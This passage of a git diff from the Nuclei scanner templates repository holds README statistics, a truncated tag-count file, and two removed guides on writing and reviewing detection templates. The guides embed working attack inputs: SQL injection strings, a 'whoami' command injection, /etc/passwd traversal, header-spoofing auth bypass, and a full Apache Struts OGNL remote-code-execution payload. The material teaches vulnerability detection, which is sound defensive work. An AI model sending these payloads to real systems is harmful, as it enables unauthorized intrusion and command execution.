| panel | 604 | dhiyaneshdk | 509 | exposed-panels | 613 | high | 955 | file | 76 |
| lfi | 490 | pikpikcu | 322 | vulnerabilities | 506 | medium | 784 | network | 50 |
| xss | 451 | pdteam | 269 | technologies | 273 | critical | 445 | dns | 17 |
| wordpress | 409 | geeknik | 187 | exposures | 254 | low | 211 | | |
| exposure | 360 | dwisiswant0 | 169 | token-spray | 230 | unknown | 7 | | |
| cve2021 | 324 | 0x_akoko | 157 | misconfiguration | 210 | | | | |
| rce | 319 | princechaddha | 149 | workflows | 187 | | | | |
| wp-plugin | 304 | pussycat0x | 130 | default-logins | 102 | | | | |
| tech | 286 | gy741 | 126 | file | 76 | | | | |
| **KEV ソース** | **テンプレート数** | **説明** |
|----------------|---------------|-----------------|
| 🔴 **CISA KEV** | **454** | [CISA 既知の悪用される脆弱性カタログ](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) |
| 🟠 **VulnCheck KEV** | **1449** | [VulnCheck KEV](https://vulncheck.com/kev) - 強化された脆弱性インテリジェンス |
| 🟢 **両方のソース** | **407** | 両方のカタログの脆弱性をカバーするテンプレート |
> 💡 **ユニークKEVテンプレート総数: 1496** - `nuclei -tags kev,vkev` を使用して積極的に悪用されている脆弱性をスキャン
---
## Nuclei Templates Top 10 statistics
| TAG | COUNT | AUTHOR | COUNT | DIRECTORY | COUNT | SEVERITY | COUNT | TYPE | COUNT |
|-----------|-------|---------------|-------|------------|-------|----------|-------|------|-------|
| vuln | 6468 | dhiyaneshdk | 1894 | http | 9281 | info | 4353 | file | 436 |
| cve | 3587 | daffainfo | 905 | cloud | 659 | high | 2552 | dns | 26 |
| discovery | 3265 | princechaddha | 854 | file | 436 | medium | 2457 | | |
| vkev | 1394 | dwisiswant0 | 805 | network | 259 | critical | 1555 | | |
| panel | 1365 | ritikchaddha | 678 | code | 251 | low | 330 | | |
| xss | 1269 | pussycat0x | 675 | dast | 240 | unknown | 54 | | |
| wordpress | 1261 | pikpikcu | 353 | workflows | 205 | | | | |
| exposure | 1141 | pdteam | 314 | javascript | 92 | | | | |
| wp-plugin | 1103 | pdresearch | 275 | ssl | 38 | | | | |
| osint | 848 | iamnoooob | 263 | dns | 23 | | | | |
**873 directories, 11997 files**.
**286個のディレクトリ、4012個のファイル**。
</td>
</tr>
+17 -31
View File
@@ -14,11 +14,11 @@ Nuclei 템플릿
</p>
<p align="center">
<a href="https://docs.projectdiscovery.io/templates/introduction">가이드 문서</a> •
<a href="https://nuclei.projectdiscovery.io/templating-guide/">가이드 문서</a> •
<a href="#-contributions">기여</a> •
<a href="#-discussion">논의</a> •
<a href="#-community">커뮤니티</a> •
<a href="https://docs.projectdiscovery.io/templates/faq">FAQs</a> •
<a href="https://nuclei.projectdiscovery.io/faq/templates/">FAQs</a> •
<a href="https://discord.gg/projectdiscovery">디스코드</a>
</p>
@@ -39,38 +39,24 @@ Nuclei 템플릿
<table>
<tr>
<td>
<td>
### 🚨 알려진 악용되는 취약점 (KEV) 적용 범위
## Nuclei 템플릿 통계 Top 10
Nuclei 템플릿은 실제로 악용되고 있는 취약점에 대한 적용 범위를 제공합니다:
| 태그 | 개수 | 작성자 | 개수 | 디렉토리 | 개수 | 심각도 | 개수 | 종류 | 개수 |
|-----------|-------|---------------|-------|------------------|-------|----------|-------|---------|-------|
| cve | 1325 | daffainfo | 629 | cves | 1306 | info | 1398 | http | 3644 |
| panel | 604 | dhiyaneshdk | 509 | exposed-panels | 613 | high | 955 | file | 76 |
| lfi | 490 | pikpikcu | 322 | vulnerabilities | 506 | medium | 784 | network | 50 |
| xss | 451 | pdteam | 269 | technologies | 273 | critical | 445 | dns | 17 |
| wordpress | 409 | geeknik | 187 | exposures | 254 | low | 211 | | |
| exposure | 360 | dwisiswant0 | 169 | token-spray | 230 | unknown | 7 | | |
| cve2021 | 324 | 0x_akoko | 157 | misconfiguration | 210 | | | | |
| rce | 319 | princechaddha | 149 | workflows | 187 | | | | |
| wp-plugin | 304 | pussycat0x | 130 | default-logins | 102 | | | | |
| tech | 286 | gy741 | 126 | file | 76 | | | | |
| **KEV 소스** | **템플릿 수** | **설명** |
|----------------|---------------|-----------------|
| 🔴 **CISA KEV** | **454** | [CISA 알려진 악용되는 취약점 카탈로그](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) |
| 🟠 **VulnCheck KEV** | **1449** | [VulnCheck KEV](https://vulncheck.com/kev) - 강화된 취약점 인텔리전스 |
| 🟢 **두 소스 모두** | **407** | 두 카탈로그의 취약점을 포함하는 템플릿 |
> 💡 **총 고유 KEV 템플릿: 1496** - `nuclei -tags kev,vkev`를 사용하여 적극적으로 악용되는 취약점 스캔
---
## Nuclei Templates Top 10 statistics
| TAG | COUNT | AUTHOR | COUNT | DIRECTORY | COUNT | SEVERITY | COUNT | TYPE | COUNT |
|-----------|-------|---------------|-------|------------|-------|----------|-------|------|-------|
| vuln | 6468 | dhiyaneshdk | 1894 | http | 9281 | info | 4353 | file | 436 |
| cve | 3587 | daffainfo | 905 | cloud | 659 | high | 2552 | dns | 26 |
| discovery | 3265 | princechaddha | 854 | file | 436 | medium | 2457 | | |
| vkev | 1394 | dwisiswant0 | 805 | network | 259 | critical | 1555 | | |
| panel | 1365 | ritikchaddha | 678 | code | 251 | low | 330 | | |
| xss | 1269 | pussycat0x | 675 | dast | 240 | unknown | 54 | | |
| wordpress | 1261 | pikpikcu | 353 | workflows | 205 | | | | |
| exposure | 1141 | pdteam | 314 | javascript | 92 | | | | |
| wp-plugin | 1103 | pdresearch | 275 | ssl | 38 | | | | |
| osint | 848 | iamnoooob | 263 | dns | 23 | | | | |
**873 directories, 11997 files**.
**286개 디렉토리, 4012개 파일**.
</td>
</tr>
-524
View File
@@ -1,524 +0,0 @@
# Nuclei Template Creation Guide
**Complete Guide for Writing High-Quality Security Templates**
---
## Getting Started
### **What is a Nuclei Template?**
Nuclei templates are the cornerstone of the Nuclei scanning engine, designed to enable precise and rapid scanning across various protocols like TCP, DNS, HTTP, and more. Templates are YAML-based definitions that describe how to detect security vulnerabilities, misconfigurations, and exposures while ensuring low-to-zero false positives.
> **📖 Official Documentation**: For comprehensive technical details, visit [ProjectDiscovery Template Docs](https://docs.projectdiscovery.io/templates/introduction)
### **Template Structure Overview**
```yaml
id: template-identifier
info:
name: Human Readable Vulnerability Name
author: your-github-username,vulnerability-discoverer-handle
severity: critical|high|medium|low|info
description: Clear explanation of what this template detects
reference:
- https://link-to-vulnerability-details
classification:
cve-id: CVE-2024-1234
cwe-id: CWE-89
tags: cve,sqli,rce
metadata:
verified: true
shodan-query: 'http.title:"VulnApp"'
http:
- method: GET
path:
- "{{BaseURL}}/vulnerable-endpoint"
matchers:
- type: word
words:
- "vulnerability_indicator"
part: body
```
---
## Step-by-Step Template Creation
### **Step 1: Research and Understand the Vulnerability**
Before writing any code:
- [ ] Read the original vulnerability disclosure/advisory
- [ ] Understand the root cause and exploitation method
- [ ] Identify unique indicators that prove vulnerability exists
- [ ] Test the vulnerability in a controlled environment
- [ ] Document the vulnerable versions and affected components
### **Step 2: Choose Your Template ID and Info**
```yaml
# Use descriptive, short identifiers
id: apache-struts-ognl-injection # GOOD - clear and specific
id: vuln-app-rce # BAD - too generic
info:
name: Apache Struts OGNL Code Injection # Format: "Vendor Product - Vulnerability Type"
author: your-github-username,original-researcher-handle # Always credit the discoverer
severity: critical # Based on CVSS score and real-world impact
```
### **Step 3: Write Accurate Description and References**
```yaml
info:
description: |
Apache Struts 2.x before 2.3.34 and 2.5.x before 2.5.16 suffer from
OGNL injection vulnerability that allows remote code execution.
reference:
- https://cwiki.apache.org/confluence/display/WW/S2-057
- https://nvd.nist.gov/vuln/detail/CVE-2018-11776
- https://seclists.org/fulldisclosure/2018/Aug/31
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.1
cve-id: CVE-2018-11776
cwe-id: CWE-94
```
### **Step 4: Add Proper Tags and Metadata**
```yaml
info:
tags: cve,cve2018,rce,apache,struts,ognl # Be specific and comprehensive
metadata:
verified: true # Only if you've tested it yourself
max-request: 1 # Auto-calculated, don't set manually
shodan-query: 'http.component:"Apache Struts"'
fofa-query: 'body="struts" && title="Apache"'
```
---
## Writing Effective HTTP Requests
### **Basic HTTP Template Structure**
```yaml
http:
- method: GET|POST|PUT|DELETE
path:
- "{{BaseURL}}/endpoint" # Dynamic BaseURL variable
- "{{Hostname}}/another-path" # Alternative dynamic variable
headers:
User-Agent: Custom-Agent-String
Content-Type: application/json
Origin: https://example.com
body: |
{"param": "{{payload}}"}
disable-cookie: false # Cookies reused by default (optional)
matchers-condition: and # Require ALL matchers to pass
matchers:
- type: word
words:
- "success_indicator"
part: body
```
> **📖 Reference**: [HTTP Template Syntax](https://docs.projectdiscovery.io/templates/protocols/http) for complete protocol details
### **Using Variables for Flexibility**
```yaml
variables:
username: "admin"
payload: "{{rand_base(8)}}"
http:
- method: POST
path:
- "{{BaseURL}}/login"
body: |
username={{username}}&password={{payload}}
```
---
## Matcher Best Practices
### **🚫 Avoid Weak Matchers**
```yaml
# BAD - Too generic, will match many innocent systems
matchers:
- type: word
words:
- "error"
- "admin"
- "login"
part: body
```
### **✅ Use Strong, Specific Matchers**
```yaml
# GOOD - Specific to the vulnerability
matchers-condition: and
matchers:
- type: word
words:
- "VulnApp Management Console v2.1.0" # Specific application version
- "Build 2024.03.15" # Specific build
part: body
- type: status
status:
- 200
- type: word
words:
- "OGNL_INJECTION_SUCCESS_{{randstr}}" # Proof of exploitation
- "java.lang.ProcessBuilder" # Technical indicator
part: body
condition: or # Any of these proves exploitation
```
### **Multi-Layer Verification Strategy**
```yaml
# Layer 1: Identify the application
# Layer 2: Confirm vulnerable version
# Layer 3: Prove vulnerability exists
matchers-condition: and
matchers:
- type: word # Layer 1: App identification
words:
- "Apache Struts Framework"
- "struts-tags"
part: body
- type: regex # Layer 2: Version detection
regex:
- 'Struts 2\.[0-4]\.[0-9]+' # Vulnerable version range
part: body
- type: word # Layer 3: Exploitation proof
words:
- "ognl.OgnlException"
- "java.lang.SecurityException"
part: body
condition: or
```
---
## Testing Your Template
### **Before Submitting - Test Thoroughly**
```bash
# Test against known vulnerable instance
nuclei -t your-template.yaml -target http://vulnerable-app.local -debug
# Test against patched/non-vulnerable systems
nuclei -t your-template.yaml -target http://patched-app.local -debug
# Test against similar but different applications
nuclei -t your-template.yaml -target http://different-but-similar-app.local -debug
```
### **Validation Checklist**
- [ ] Template detects the vulnerability on vulnerable systems
- [ ] Template does NOT trigger false positives on:
- [ ] Patched versions of the same application
- [ ] Similar applications from the same vendor
- [ ] Generic web frameworks or CMSs
- [ ] Default server error pages
- [ ] Matchers are specific enough to avoid honeypots
- [ ] References are valid and accessible
- [ ] YAML syntax is correct (`nuclei -validate -t template.yaml`)
---
## Common Vulnerability Types - Template Patterns
### **SQL Injection Detection**
```yaml
http:
- method: POST
path:
- "{{BaseURL}}/search"
body: "q={{payload}}"
payloads:
payload:
- "1' OR '1'='1"
- "1' UNION SELECT version()--"
- "1' AND (SELECT SUBSTRING(@@version,1,1))='5'--"
matchers:
- type: word
words:
- "mysql_fetch_array(): supplied argument"
- "You have an error in your SQL syntax"
- "Microsoft OLE DB Provider for ODBC"
part: body
```
### **Remote Code Execution (RCE)**
```yaml
variables:
cmd: "whoami"
marker: "{{rand_base(8)}}"
http:
- method: POST
path:
- "{{BaseURL}}/execute"
body: |
command={{cmd}} && echo {{marker}}
matchers:
- type: word
words:
- "{{marker}}"
part: body
- type: regex
regex:
- 'root|administrator|www-data'
part: body
```
### **Local File Inclusion (LFI)**
```yaml
http:
- method: GET
path:
- "{{BaseURL}}/view?file=../../../etc/passwd"
- "{{BaseURL}}/view?file=..\\..\\..\\windows\\win.ini"
matchers:
- type: regex
regex:
- 'root:.*?:[0-9]*:[0-9]*:' # Linux /etc/passwd
- '\[fonts\]' # Windows win.ini
part: body
```
### **Authentication Bypass**
```yaml
http:
- method: GET
path:
- "{{BaseURL}}/admin"
headers:
X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
matchers-condition: and
matchers:
- type: word
words:
- "Admin Dashboard"
- "Administrative Panel"
part: body
- type: status
status:
- 200
```
---
## Advanced Template Features
### **Using Extractors for Data Collection**
```yaml
http:
- method: GET
path:
- "{{BaseURL}}/info"
extractors:
- type: regex
name: version
regex:
- 'Version: ([0-9\.]+)'
group: 1
matchers:
- type: word
words:
- "Application Info"
part: body
```
### **Conditional Logic with DSL**
```yaml
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "vulnerable_pattern")'
- 'len(body) > 1000'
condition: and
```
### **Network Templates for Non-HTTP Services**
```yaml
network:
- inputs:
- data: "{{hex_decode('474554202f20485454502f312e310d0a0d0a')}}" # GET / HTTP/1.1
host:
- "{{Hostname}}"
port: 8080
matchers:
- type: word
words:
- "Server: VulnServer/1.0"
part: data
```
---
## Submission Guidelines
### **Preparing Your Template for Submission**
1. **Validate Syntax**
```bash
nuclei -validate -t your-template.yaml
```
2. **Test Thoroughly**
```bash
nuclei -t your-template.yaml -target vulnerable-instance.com -debug
```
3. **Check for Existing Templates**
- Search the repository for similar vulnerabilities
- Avoid duplicating existing detection logic
- If improving existing template, explain why
4. **Follow Naming Conventions**
- Place in appropriate directory (`cves/2024/`, `exposures/`, `misconfiguration/`)
- Use descriptive filename: `CVE-2024-1234.yaml` or `app-name-vuln-type.yaml`
### **Pull Request Best Practices**
- **Title**: Clear description of what the template detects
- **Description**: Include:
- Link to vulnerability details/advisory
- Affected versions
- Testing methodology
- Screenshots/proof if possible
- **Testing**: Show debug output proving detection works
- **Test Instances**: If you have a testable self-hosted instance or vulnerable environment that cannot be shared publicly, email [email protected]
- **References**: Include all relevant security advisories
> **💡 Pro Tip**: Providing a testable vulnerable environment significantly reduces review time and speeds up the template merge process. Reviewers can immediately validate your template instead of setting up their own test environment.
---
## Quality Checklist
### **Before Submitting Your Template**
- [ ] **Functionality**
- [ ] Template detects the intended vulnerability
- [ ] No false positives on tested systems
- [ ] Matchers are specific and accurate
- [ ] **Attribution**
- [ ] Original vulnerability discoverer credited in author field
- [ ] All references included and valid
- [ ] Proper CVSS scoring if applicable
- [ ] **Quality**
- [ ] YAML syntax is valid
- [ ] Follows nuclei template conventions
- [ ] Includes appropriate tags and metadata
- [ ] **Testing**
- [ ] Tested against vulnerable instance
- [ ] Tested against non-vulnerable similar systems
- [ ] Debug output reviewed for accuracy
- [ ] **Documentation**
- [ ] Clear description of what template detects
- [ ] Proper severity classification
- [ ] Complete reference list
---
## Examples of High-Quality Templates
### **Complete CVE Template Example**
```yaml
id: CVE-2024-1234-apache-struts-rce
info:
name: Apache Struts 2.x OGNL Code Injection
author: your-github-username,original-researcher-handle
severity: critical
description: |
Apache Struts 2.x before 2.3.34 and 2.5.x before 2.5.16 suffer from
OGNL injection vulnerability in the namespace value that allows remote
code execution.
reference:
- https://cwiki.apache.org/confluence/display/WW/S2-057
- https://nvd.nist.gov/vuln/detail/CVE-2018-11776
- https://seclists.org/fulldisclosure/2018/Aug/31
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.1
cve-id: CVE-2018-11776
cwe-id: CWE-94
metadata:
verified: true
shodan-query: 'http.component:"Apache Struts"'
fofa-query: 'body="struts" && title="Apache"'
tags: cve,cve2018,rce,apache,struts,ognl,kev
variables:
command: "whoami"
marker: "{{rand_base(8)}}"
http:
- method: GET
path:
- "{{BaseURL}}/${(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='{{command}}').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}/actionChain1.action"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "struts"
- "java"
part: body
condition: or
- type: regex
regex:
- 'root|administrator|www-data|apache'
part: body
```
---
## Getting Help
### **Resources**
- **Official Documentation**: [ProjectDiscovery Template Docs](https://docs.projectdiscovery.io/templates/introduction)
- **HTTP Templates**: [HTTP Protocol Documentation](https://docs.projectdiscovery.io/templates/protocols/http)
- **AI Template Creation**: [ProjectDiscovery Cloud Templates](https://cloud.projectdiscovery.io/templates) - AI-powered template generation
- **Examples**: Browse existing templates in the [Nuclei Templates Repository](https://github.com/projectdiscovery/nuclei-templates)
- **Community**: Join [ProjectDiscovery Discord](https://discord.gg/projectdiscovery) for questions and discussions
- **Testing**: Use local vulnerable applications for safe testing
- **Test Instances**: Email templates@projectdiscovery.io if you can provide a testable vulnerable environment
> **💡 Pro Tip**: Sharing test instances with reviewers significantly accelerates the template review and merge process.
### **Common Issues and Solutions**
- **False Positives**: Make matchers more specific, add version detection
- **YAML Errors**: Use online YAML validators, check indentation
- **Template Not Triggering**: Verify target is actually vulnerable, check debug output
- **Performance Issues**: Minimize requests, optimize matchers
---
*This guide provides everything needed to create high-quality, accurate nuclei templates that contribute valuable security detection capabilities to the community.*
-441
View File
@@ -1,441 +0,0 @@
# Nuclei Template Review Guide
**Best Practices for Template Quality and Security**
---
## Quick Reference
### **Review Priority Areas**
1. **Quality & Consistency** - Formatting, syntax, field standardization
2. **Metadata Enhancement** - Search queries, classifications, documentation
3. **Tags Optimization** - Category alignment, searchability
4. **Classification** - CVE/CWE alignment, severity scoring
5. **Matcher Refinement** - Detection logic, false positive prevention
### **Common Areas for Improvement**
- **Community Contributions:** Often need metadata and classification enhancements
- **Template Reviews:** Focus on technical accuracy and matcher quality
---
## Pre-Review Checklist
### **Template Completeness Verification**
```yaml
Required Fields Checklist:
- [ ] id: Short, descriptive (max 3-4 words)
- [ ] name: Format "Vendor Product Version - Vulnerability"
- [ ] author: Template creator, vulnerability discoverer (comma-separated)
- [ ] severity: info/low/medium/high/critical (CVSS aligned)
- [ ] description: Clear vulnerability explanation
- [ ] reference: Valid POC/advisory links
- [ ] classification: CVE-ID, CWE-ID if applicable
```
### **Author Attribution Best Practices**
```yaml
# GOOD - Include both template author and vulnerability discoverer in author field
info:
author: template-author-github-username,original-discoverer-handle
description: SQL injection vulnerability in Example App v2.1.0 allows remote code execution.
reference:
- https://github.com/security_researcher/advisories/example-app-sqli
- https://nvd.nist.gov/vuln/detail/CVE-2024-1234
# EXAMPLES of proper author attribution
info:
author: princechaddha,0xd0ff9 # Template by princechaddha, vulnerability found by 0xd0ff9
info:
author: dhiyaneshDk,researcher_name # Template by dhiyaneshDk, discovered by researcher_name
info:
author: geeknik,@security_handle # Template by geeknik, found by @security_handle
```
### **Metadata Quality Check**
```yaml
Enhanced Metadata:
- [ ] verified: true (if tested with debug data)
- [ ] shodan-query: Search dork for asset discovery
- [ ] fofa-query: Alternative search engine query
- [ ] tags: Appropriate categories (cve, rce, lfi, etc.)
Note: max-request is auto-generated and doesn't need manual input
```
---
## Matcher Quality Framework
### **🚫 Weak Matchers (High False Positive Risk)**
#### **Generic Response Patterns - AVOID**
```yaml
# BAD - Matches any admin interface globally
matchers:
- type: word
words:
- "admin"
- "login"
- "dashboard"
part: body
```
**Problem:** These terms appear on millions of legitimate systems
#### **Version-Only Detection - AVOID**
```yaml
# BAD - Matches all versions, not just vulnerable ones
matchers:
- type: regex
regex:
- 'WordPress [0-9]+\.[0-9]+'
part: body
```
**Problem:** Doesn't verify actual vulnerability presence
### **✅ Strong Vulnerability-Specific Matchers**
#### **Multi-Layer Verification Strategy**
```yaml
# GOOD - Combines application + version + vulnerability proof
matchers-condition: and
matchers:
- type: word # Layer 1: Identify specific application
words:
- "Grafana Dashboard"
- "grafana.com/login"
part: body
- type: regex # Layer 2: Confirm vulnerable version range
regex:
- 'version.*[6-8]\.[0-5]\.[0-9]'
part: body
- type: word # Layer 3: Verify exploit success
words:
- "unauthorized_data_access"
- "/api/snapshots/{{randstr}}"
part: body
condition: or
```
#### **CVE-Specific Template Example**
```yaml
# CVE-2024-1234 - Specific Application RCE
matchers-condition: and
matchers:
- type: word
words:
- "VulnApp Management Console v2.1.0" # Exact vulnerable version
- "Build 2024.03.15" # Specific build identifier
part: body
- type: status # Expected response code
status:
- 200
- type: word # Exploitation proof
words:
- "RCE_EXECUTION_SUCCESS_{{randstr}}" # Unique payload response
- "nuclei_test_command_output" # Command execution indicator
part: body
condition: or
```
#### **Panel Detection - Unique Signatures**
```yaml
# FortiGate Panel - Multiple unique identifiers
matchers-condition: and
matchers:
- type: word
words:
- "<title>FortiGate - Login</title>" # Specific page title
- "Fortinet, Inc." # Vendor attribution
- "FortiOS Version:" # Version indicator
part: body
condition: or
- type: regex
regex:
- '/images/fortinet_logo_[0-9]+\.png' # Unique asset pattern
- 'build_[0-9]{4}_[0-9]{6}' # Build number format specific to FortiGate
part: body
condition: or
```
---
## False Positive Prevention
### **High-Risk Scenarios to Test**
Before approval, verify matchers DON'T trigger on:
1. **Related Non-Vulnerable Systems**
- Same vendor, different products
- Same application, patched versions
- Similar interfaces, different implementations
2. **Generic Web Applications**
- Common frameworks (WordPress, Django, Rails)
- Standard admin panels (cPanel, Plesk)
- Default server pages (Apache, Nginx)
3. **Honeypot/Security Tools**
- Intentionally deceptive responses
- Security scanners mimicking vulnerabilities
- Research environments with fake responses
### **Matcher Testing Checklist**
```yaml
Required Validation Steps:
- [ ] Test against 3+ non-vulnerable similar applications
- [ ] Verify unique response elements are truly unique
- [ ] Confirm payload/exploitation indicators are specific
- [ ] Check matcher doesn't trigger on default installations
- [ ] Validate version detection accuracy (if applicable)
```
---
## Review Categories by Impact
### **1. Metadata Enhancement**
**Most Common Missing Elements:**
- `shodan-query` for asset discovery
- `fofa-query` for alternative search engines
- `classification` fields for vulnerability tracking
**Review Actions:**
```yaml
# Add asset discovery capabilities
metadata:
verified: true
shodan-query: 'http.title:"Grafana" http.component:"Grafana"'
fofa-query: 'title="Grafana" && body="grafana"'
# Ensure proper classification
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-1234
cwe-id: CWE-89
```
### **2. Matcher Quality**
**Common Issues:**
- Overly broad detection patterns
- Missing context verification
- Weak exploitation proof
**Review Standards:**
```yaml
# Require multi-layer validation
matchers-condition: and # Force all conditions to match
matchers:
- type: word # Application identification
- type: status # Response validation
- type: word # Vulnerability proof
condition: or # Allow multiple proof methods
```
### **3. Severity Assessment**
**CVSS Alignment Requirements:**
- **Critical (9.0-10.0):** Remote code execution, complete system compromise
- **High (7.0-8.9):** Significant data breach, privilege escalation
- **Medium (4.0-6.9):** Information disclosure, limited access
- **Low (0.1-3.9):** Minor information leakage, requires authentication
### **4. Reference Validation**
**Required Reference Quality:**
- Original vulnerability advisory (CVE, vendor security bulletin)
- Technical analysis or proof of concept
- NIST NVD entry (if available)
- Public disclosure timeline
---
## Reviewer Action Templates
### **For Metadata Improvements**
```
Please enhance the template metadata:
- Add `shodan-query` for asset discovery: `[suggested query]`
- Include `fofa-query` for alternative search: `[suggested query]`
- Verify `classification` fields are complete
- Ensure `verified: true` with debug data if tested
```
### **For Weak Matchers**
```
The current matchers may produce false positives. Please:
- Add application-specific identifiers (exact titles, unique elements)
- Include version validation for vulnerable ranges only
- Verify exploitation proof rather than just version detection
- Test against [specific non-vulnerable scenarios]
```
### **For Severity Issues**
```
Severity should be [X] based on CVSS impact:
- Attack Vector: [Network/Adjacent/Local/Physical]
- Impact: [Complete/Partial/None] for CIA triad
- Required Privileges: [None/Low/High]
- Reference CVSS calculator: [link]
```
### **For Missing References**
```
Please add comprehensive references:
- Original vulnerability disclosure/advisory
- Technical analysis or exploitation details
- Official vendor security bulletin (if available)
- NIST NVD entry: https://nvd.nist.gov/vuln/detail/CVE-XXXX-XXXX
```
### **For Missing Vulnerability Discoverer Attribution**
```
Please credit the original vulnerability discoverer in the author field:
- Update author field: "template-author,vulnerability-discoverer" (comma-separated)
- Example: "princechaddha,0xd0ff9" or "dhiyaneshDk,researcher_name"
- Include original disclosure/research reference
- Ensure proper credit for both template creator AND vulnerability researcher
```
---
## Quality Standards & Goals
### **Template Accuracy Goals**
- **False Positive Rate:** <2% (verified through community feedback)
- **Detection Coverage:** 95%+ for vulnerable instances
- **Metadata Completeness:** 100% required fields, 80%+ enhanced fields
### **Review Consistency Standards**
- **Response Time:** Initial review within 48 hours
- **Feedback Quality:** Specific, actionable guidance with examples
- **Approval Criteria:** All quality checks pass, tested when possible
### **Community Impact**
- **Contribution Quality:** Monitor improvement patterns in repeat contributors
- **Review Effectiveness:** Track issues caught in review vs. post-merge
- **Knowledge Transfer:** Successful elevation of community template quality
---
## Advanced Review Techniques
### **Template Testing Environment Setup**
```bash
# Recommended testing workflow
nuclei -t new-template.yaml -target vulnerable-lab.com -debug
nuclei -t new-template.yaml -target patched-system.com -debug
nuclei -t new-template.yaml -list target-variety.txt -silent
```
### **Vulnerability Context Research**
1. **CVE Database Cross-Reference:** Verify vulnerability details match template scope
2. **Vendor Advisory Review:** Confirm affected versions and exploitation requirements
3. **Community Disclosure Analysis:** Check for additional context or limitations
4. **Exploit Database Validation:** Compare detection approach with known exploits
### **Review Documentation Standards**
- Document testing methodology in PR comments
- Provide specific improvement suggestions with examples
- Reference similar high-quality templates as comparison
- Explain security rationale for matcher requirements
---
## Practical Examples by Vulnerability Type
### **SQL Injection Templates**
```yaml
# WRONG - Generic database errors (match many systems)
matchers:
- type: word
words:
- "mysql_fetch"
- "SQL syntax"
# RIGHT - Specific to vulnerability context
matchers:
- type: word
words:
- "mysql_fetch_array(): supplied argument" # Specific error pattern
- "WHERE id='1' OR '1'='1'" # Injection payload context
- "users table does not exist" # Application-specific error
part: body
condition: and
```
### **RCE Templates**
```yaml
# WRONG - Generic command output
matchers:
- type: word
words:
- "root"
- "/bin/bash"
# RIGHT - Command execution in vulnerability context
matchers:
- type: regex
regex:
- 'uid=0\(root\) gid=0\(root\) groups=0\(root\)' # Complete whoami output
part: body
- type: word
words:
- "nuclei_rce_test_{{rand_base(6)}}" # Unique payload identifier
part: body
```
### **File Upload Vulnerabilities**
```yaml
# WRONG - Generic file upload success
matchers:
- type: word
words:
- "uploaded successfully"
- "file saved"
# RIGHT - Vulnerability-specific upload validation
matchers:
- type: word
words:
- "nuclei_test_{{randstr}}.php uploaded to /var/www/uploads/" # Specific path + file
- "File permissions: 644" # System response
- "<?php echo 'nuclei_upload_test'; ?>" # File content verification
part: body
condition: and
```
---
## Multi-Layer Matcher Strategy
```yaml
# Use multiple verification layers
matchers-condition: and
matchers:
- type: word # Layer 1: Identify the application
words:
- "VulnApp Management Console"
part: body
- type: regex # Layer 2: Confirm vulnerable version
regex:
- 'Version: [1-2]\.[0-5]\.[0-9]'
part: body
- type: word # Layer 3: Verify vulnerability exists
words:
- "debug_info_exposed"
- "configuration_leak"
part: body
condition: or
```
---
*This guide provides comprehensive standards for creating and reviewing high-quality nuclei templates that are accurate, specific, and minimize false positives.*
+1 -1
View File
@@ -1 +1 @@
{"tags":[{"name":"vuln","count":6626},{"name":"cve","count":4283},{"name":"discovery","count":3729},{"name":"vkev","count":1795},{"name":"wordpress","count":1656},{"name":"panel","count":1537},{"name":"wp-plugin","count":1473},{"name":"exposure","count":1456},{"name":"xss","count":1409},{"name":"osint","count":1131},{"name":"misconfig","count":986},{"name":"rce","count":967},{"name":"tech","count":947},{"name":"wp","count":925},{"name":"lfi","count":857},{"name":"detect","count":765},{"name":"devops","count":752},{"name":"cloud","count":718},{"name":"unauth","count":659},{"name":"cve2024","count":625},{"name":"edb","count":597},{"name":"wpscan","count":597},{"name":"cve2021","count":595},{"name":"sqli","count":591},{"name":"cve2023","count":571},{"name":"cve2022","count":570},{"name":"packetstorm","count":552},{"name":"authenticated","count":546},{"name":"login","count":525},{"name":"intrusive","count":525},{"name":"kev","count":516},{"name":"cve2025","count":413},{"name":"phishing","count":402},{"name":"file","count":392},{"name":"network","count":387},{"name":"oast","count":357},{"name":"default-login","count":336},{"name":"cve2020","count":325},{"name":"config","count":323},{"name":"auth-bypass","count":283},{"name":"apache","count":282},{"name":"tcp","count":271},{"name":"microsoft","count":258},{"name":"token-spray","count":247},{"name":"top-200","count":235},{"name":"gcp","count":234},{"name":"osint-social","count":231},{"name":"gcp-cloud-config","count":227},{"name":"token","count":226},{"name":"gcloud","count":226},{"name":"cve2019","count":223},{"name":"iot","count":216},{"name":"malware","count":214},{"name":"azure","count":213},{"name":"","count":213},{"name":"cve2018","count":205},{"name":"aws","count":196},{"name":"ssrf","count":195},{"name":"time-based-sqli","count":194},{"name":"csp-bypass","count":192},{"name":"code","count":192},{"name":"azure-cloud-config","count":191},{"name":"cve2026","count":190},{"name":"redirect","count":185},{"name":"install","count":180},{"name":"amazon","count":175},{"name":"security","count":164},{"name":"keys","count":159},{"name":"disclosure","count":156},{"name":"local","count":155},{"name":"joomla","count":154},{"name":"aws-cloud-config","count":147},{"name":"cms","count":141},{"name":"linux","count":140},{"name":"router","count":139},{"name":"ftp","count":137},{"name":"files","count":133},{"name":"cve2017","count":131},{"name":"